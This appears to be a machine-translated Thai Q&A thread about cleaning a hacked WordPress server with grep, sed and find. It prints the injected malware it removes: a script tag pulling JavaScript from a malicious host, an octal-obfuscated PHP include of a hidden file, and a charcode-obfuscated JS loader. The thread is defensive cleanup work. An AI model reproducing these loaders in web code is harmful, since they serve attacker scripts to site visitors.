ดังนั้นเซิร์ฟเวอร์ทั้งหมดของฉันถูกแฮ็กหรือมีปัญหามัลแวร์ ไซต์ของฉันใช้ WordPress และไซต์ส่วนใหญ่ที่โฮสต์บนเซิร์ฟเวอร์ของฉันนั้นใช้ WordPress แฮ็กเกอร์เพิ่มรหัสบรรทัดนี้ให้กับทุกไฟล์และในฐานข้อมูล
<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>
ฉันค้นหาโดยใช้คำสั่ง grep
grep -r "trasnaltemyrecords" /var/www/html/{*,.*}
ฉันพยายามแทนที่มันตลอดโครงสร้างไฟล์ด้วยsed
และฉันเขียนคำสั่งต่อไปนี้
sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php
ฉันพยายามแทนที่สตริงในไฟล์เดียวindex.php
ก่อนดังนั้นฉันจึงรู้ว่ามันใช้งานได้
และฉันรู้ว่ารหัสของฉันผิด โปรดช่วยฉันด้วยสิ่งนี้
ฉันลองใช้รหัส @ Eran และลบทั้งบรรทัดซึ่งดีและเป็นไปตามที่คาดไว้ อย่างไรก็ตามศัพท์แสงทั้งหมดนี้
/*ee8fa*/
@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";
/*ee8fa*/
<?php
และในขณะที่ฉันต้องการที่จะลบเนื้อหาทั้งหมดที่ฉันต้องการให้แท็ก PHP เปิด
แม้ว่าโซลูชันของ @ slybloty นั้นใช้งานง่ายและใช้งานได้
ดังนั้นเพื่อลบรหัสออกจากไฟล์ที่ได้รับผลกระทบทั้งหมด ฉันใช้ 3 คำสั่งต่อไปนี้ขอบคุณทุกท่านสำหรับสิ่งนี้
find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g"
- เพื่อลบบรรทัดสคริปต์find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'
- การลบ@include
สายfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d'
- เพื่อลบบรรทัดความคิดเห็น
นอกจากนี้ฉันยังรันทั้ง 3 คำสั่งอีกครั้ง'*.html'
เพราะสคริปต์ของแฮ็กเกอร์สร้าง index.html ที่ไม่ต้องการในไดเรกทอรีทั้งหมด ฉันไม่แน่ใจว่าการลบ index.html เหล่านี้เป็นวิธีการที่ถูกต้องหรือไม่
ตอนนี้ฉันยังคงต้องคิดออกไฟล์ขยะและร่องรอยของมัน
แฮกเกอร์สคริปต์เพิ่มรหัส JS ด้วย
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}
พยายามที่จะดูว่าฉันสามารถทำได้sed
เช่นกัน
while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})"
-l
sed -i
พารามิเตอร์ตัวเลือกสำหรับ ตัวอย่างเช่นsed -i.bak
จะสร้าง*.bak
ไฟล์สำหรับไฟล์ทั้งหมดที่ถูกแก้ไข เมื่อใช้กับwhile...grep
ลูปคุณจะทำการสำรองไฟล์ที่มีสตริงนั้นเท่านั้น ขออภัยสำหรับความคิดเห็นเพิ่มเติมทั้งหมด แต่ในความเห็นของฉันมัลแวร์เป็นสถานการณ์ "all hands on deck"